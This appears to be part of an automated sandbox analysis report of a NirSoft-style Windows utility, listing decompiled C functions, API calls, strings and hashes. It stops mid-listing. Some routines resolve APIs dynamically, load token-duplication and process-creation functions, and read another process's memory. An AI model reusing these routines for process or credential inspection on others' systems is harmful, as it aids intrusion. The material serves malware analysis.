0x00406277
0x0040627a
0x00406280
0x00406280
0x00000000
0x00406280
0x00000000
0x0040627a
0x00000000
0x00406283
0x00406273
0x00406224
0x00406224
0x00406229
0x0040622a
0x0040622f
0x00406236
0x0040623c
0x00406243
0x00406245
0x00406247
0x00406248
0x0040624b
0x00406254
0x00406254
0x0040632d
0x00406334

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32 ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004081E4(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t57;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;

				_t49 = __ecx;
				E0040B550(0x1800, __ecx);
				_t57 = _t49;
				E00407343(_t57, _a4, L"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t59 = _t58 + 0x24;
				_t62 =  *0x40fe30; // 0x0
				if(_t62 != 0) {
					_push(0x40fe30);
					_push(L"<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>");
					_push(0x400);
					_push( &_v2052);
					L0040B1EC();
					_t59 = _t59 + 0x10;
				}
				_t63 =  *0x40fe28; // 0x0
				if(_t63 != 0) {
					wcscpy( &_v4100, L"<table dir=\"rtl\"><tr><td>\r\n");
				}
				E00407AFD(_t57, _t57, _a4,  *((intOrPtr*)( *_t57 + 0x20))(),  &_v2052,  &_v4100);
				_push( *((intOrPtr*)( *_t57 + 0x90))( *((intOrPtr*)( *_t57 + 0x8c))()));
				_push(L"<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_push(0x400);
				_push( &_v6148);
				L0040B1EC();
				_t43 = E00407343(_t57, _a4,  &_v6148);
				_t64 = _a8 - 5;
				if(_a8 == 5) {
					return E00407D03(_t57, _t64, _a4);
				}
				return _t43;
			}

0x004081e4
0x004081ec
0x004081fc
0x00408200
0x00408215
0x0040821c
0x0040822a
0x00408231
0x0040823f
0x00408246
0x0040824b
0x0040824e
0x0040825a
0x0040825c
0x00408261
0x0040826c
0x0040826d
0x0040826e
0x00408273
0x00408273
0x00408276
0x0040827c
0x0040828a
0x00408290
0x004082ab
0x004082c5
0x004082c6
0x004082d1
0x004082d2
0x004082d3
0x004082e7
0x004082ec
0x004082f0
0x00000000
0x004082f5
0x004082fe

APIs

memset.MSVCRT ref: 0040821C
memset.MSVCRT ref: 00408231
memset.MSVCRT ref: 00408246
_snwprintf.MSVCRT ref: 0040826E
wcscpy.MSVCRT ref: 0040828A
_snwprintf.MSVCRT ref: 004082D3

Strings

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004081F4
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004082C6
<table dir="rtl"><tr><td>, xrefs: 00408284
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00408261

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction ID: b93c0f476eae2b4120c079c2f39cbc6d180985b1aedf8bde3229837f55527c2f
Opcode Fuzzy Hash: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction Fuzzy Hash: 5C2157769001186ACB21AB95CC45FEE77BCFF48745F0440BEB549B3191DB389B848BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

0x0040920a
0x00409218
0x00409223
0x0040922c
0x0040924b
0x00409253
0x0040929b
0x004092e4
0x0040929d
0x004092a3
0x004092b1
0x004092bd
0x004092cc
0x004092d1
0x004092d8
0x004092dd
0x00409255
0x0040925b
0x00409269
0x00409275
0x00409282
0x0040928d
0x00409292
0x004092ec
0x004092ef
0x004092ef
0x00409231
0x00409232
0x00409233
0x00000000
0x00409239
0x0040921a
0x00000000

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

0x00409c73
0x00409c7c
0x00409c90
0x00409c9f
0x00409ca2
0x00409ca7
0x00409ca9
0x00409cb1
0x00409cc0
0x00409cc2
0x00409cc7
0x00409ccf
0x00409cd0
0x00409cd7
0x00409cd8
0x00409cd9
0x00409cda
0x00409cdc
0x00409ce0
0x00409ce1
0x00409ce9
0x00409cf1
0x00409cfb
0x00409d08
0x00409d08
0x00000000
0x00409d0d
0x00409d0f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

kernel32.dll, xrefs: 00409C8B
GetProcAddress, xrefs: 00409C98, 00409C9D
LdrGetProcedureAddress, xrefs: 00409CBA
ntdll.dll, xrefs: 00409CB3

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040289F, Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040289F(intOrPtr* __esi) {
				void* _t9;
				struct HINSTANCE__* _t10;
				_Unknown_base(*)()* _t14;

				if( *(__esi + 0x10) == 0) {
					_t10 = LoadLibraryW(L"advapi32.dll");
					 *(__esi + 0x10) = _t10;
					 *((intOrPtr*)(__esi + 0xc)) = GetProcAddress(_t10, "CreateProcessWithLogonW");
					 *((intOrPtr*)(__esi)) = GetProcAddress( *(__esi + 0x10), "CreateProcessWithTokenW");
					 *((intOrPtr*)(__esi + 4)) = GetProcAddress( *(__esi + 0x10), "OpenProcessToken");
					_t14 = GetProcAddress( *(__esi + 0x10), "DuplicateTokenEx");
					 *(__esi + 8) = _t14;
					return _t14;
				}
				return _t9;
			}

0x004028a3
0x004028ab
0x004028bd
0x004028ca
0x004028d7
0x004028e3
0x004028e6
0x004028e8
0x00000000
0x004028eb
0x004028ec

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

Strings

OpenProcessToken, xrefs: 004028CF
CreateProcessWithTokenW, xrefs: 004028C2
advapi32.dll, xrefs: 004028A6
CreateProcessWithLogonW, xrefs: 004028B7
DuplicateTokenEx, xrefs: 004028DB

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessWithLogonW$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-1970996977
Opcode ID: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction ID: fe34eb2af2a63a360b7e1287e200b812ce4d940bd8def4616d2569e5b7a8a532
Opcode Fuzzy Hash: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction Fuzzy Hash: AEF09874A40708EBCB30EFB59D49B07BAF5FB94710B114F2AE49662690D7B8A004CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t48;
				void* _t56;
				signed int _t57;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					if(ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8) == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8);
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t69 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292);
						E004055D1(_t61,  &_v28);
					}
					E004055D1(CloseHandle(_a16),  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401bee
0x00401bf0
0x00401bf0
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNEL32(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNEL32(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
CloseHandle.KERNEL32(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$CloseHandleOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 2567117392-2565891505
Opcode ID: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004045BA, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004045BA(void* __ebx, void* __ecx, void* __eflags) {
				void* _v8;
				void _v2054;
				short _v2056;
				void _v4102;
				short _v4104;
				signed int _t28;
				void* _t34;

				E0040B550(0x1004, __ecx);
				_t36 = 0;
				if(E004043F8( &_v8, 0x2001f) == 0) {
					_v2056 = 0;
					memset( &_v2054, 0, 0x7fe);
					_v4104 = 0;
					memset( &_v4102, 0, 0x7fe);
					_t34 = __ebx + 0x20a;
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s\\command");
					_push(0x3ff);
					_push( &_v2056);
					L0040B1EC();
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v4104);
					L0040B1EC();
					RegDeleteKeyW(_v8,  &_v2056);
					_t28 = RegDeleteKeyW(_v8,  &_v4104);
					asm("sbb esi, esi");
					_t36 =  ~_t28 + 1;
					RegCloseKey(_v8);
				}
				return _t36;
			}

0x004045c2
0x004045d1
0x004045da
0x004045ef
0x004045f6
0x00404604
0x0040460b
0x00404610
0x00404616
0x00404617
0x00404618
0x00404628
0x00404629
0x0040462a
0x0040462f
0x00404630
0x00404631
0x0040463c
0x0040463d
0x0040463e
0x00404656
0x00404662
0x0040466b
0x0040466d
0x0040466e
0x00404674
0x00404679

APIs

memset.MSVCRT ref: 004045F6
memset.MSVCRT ref: 0040460B
_snwprintf.MSVCRT ref: 0040462A
_snwprintf.MSVCRT ref: 0040463E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404656
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404662
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?,?,00403904), ref: 0040466E

Strings

%s\shell\%s\command, xrefs: 00404618
%s\shell\%s, xrefs: 00404631

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Delete_snwprintfmemset$Close
String ID: %s\shell\%s$%s\shell\%s\command
API String ID: 1018939227-3575174989
Opcode ID: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction ID: ac83cb79e3d5854fe24d0bbfc9a3a323e310d753dc8b3985e5e0c668aff5e890
Opcode Fuzzy Hash: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction Fuzzy Hash: 2F115E72800128BACB2097958D45ECBBABCEF49794F0001B6BA08F2151D7745F449AED

Uniqueness

Uniqueness Score: -1.00%

Function 0040313D, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040313D(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryW(L"comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxW(_t6, L"Error: Cannot load the common control classes.", L"Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040314a
0x00403151
0x00403158
0x0040315a
0x00403162
0x00403166
0x00403190
0x00403190
0x00403198
0x00403199
0x0040319e
0x004031bb
0x004031a0
0x004031ad
0x004031b6
0x004031b6
0x0040319e
0x0040316e
0x00403176
0x0040317c
0x0040317f
0x0040317f
0x00403182
0x0040318a
0x00000000
0x0040318c
0x0040318c
0x00000000
0x0040318c

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
#17.COMCTL32(?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403190
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

Strings

Error, xrefs: 004031A2
InitCommonControlsEx, xrefs: 00403168
comctl32.dll, xrefs: 00403145
Error: Cannot load the common control classes., xrefs: 004031A7

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction ID: 155fb52d9805f4d7e0650ae201b0fcd9156dc3619c14d31e00ff2d1348fe2513
Opcode Fuzzy Hash: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction Fuzzy Hash: 5A01D672751201EAD3115FB4AC89F7B7EACDF4974AB00023AF505F51C0DA78DA01869C

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA9, Relevance: 15.1, APIs: 10, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404DA9(void* __edx, struct HWND__* _a4, signed int _a8) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t50;
				long _t61;
				struct HDC__* _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				struct HWND__* _t71;
				intOrPtr _t72;
				void* _t73;
				int _t74;
				int _t80;
				int _t83;

				_t73 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t74 = GetSystemMetrics(0x11);
				_t80 = GetSystemMetrics(0x10);
				if(_t74 == 0 || _t80 == 0) {
					_t63 = GetDC(0);
					_t80 = GetDeviceCaps(_t63, 8);
					_t74 = GetDeviceCaps(_t63, 0xa);
					ReleaseDC(0, _t63);
				}
				GetWindowRect(_a4,  &_v44);
				if((_a8 & 0x00000004) != 0) {
					_t71 = GetParent(_a4);
					if(_t71 != 0) {
						_v28.left = _v28.left & 0x00000000;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						GetWindowRect(_t71,  &_v28);
						_t61 = _v28.left;
						_t72 = _v28.top;
						_t80 = _v28.right - _t61 + 1;
						_t74 = _v28.bottom - _t72 + 1;
						_v8 = _t61;
						_v12 = _t72;
					}
				}
				_t65 = _v44.right;
				if((_a8 & 0x00000001) == 0) {
					asm("cdq");
					_t83 = (_v44.left - _t65 + _t80 - 1 - _t73 >> 1) + _v8;
				} else {
					_t83 = 0;
				}
				_t68 = _v44.bottom;
				if((_a8 & 0x00000002) != 0) {
					L11:
					_t50 = 0;
					goto L12;
				} else {
					asm("cdq");
					_t50 = (_v44.top - _t68 + _t74 - 1 - _t73 >> 1) + _v12;
					if(_t50 >= 0) {
						L12:
						if(_t83 < 0) {
							_t83 = 0;
						}
						return MoveWindow(_a4, _t83, _t50, _t65 - _v44.left + 1, _t68 - _v44.top + 1, 1);
					}
					goto L11;
				}
			}

0x00404da9
0x00404dbc
0x00404dbf
0x00404dc6
0x00404dcc
0x00404dce
0x00404de1
0x00404deb
0x00404df2
0x00404df4
0x00404df4
0x00404e07
0x00404e0d
0x00404e18
0x00404e1c
0x00404e1e
0x00404e27
0x00404e28
0x00404e29
0x00404e2f
0x00404e31
0x00404e37
0x00404e41
0x00404e42
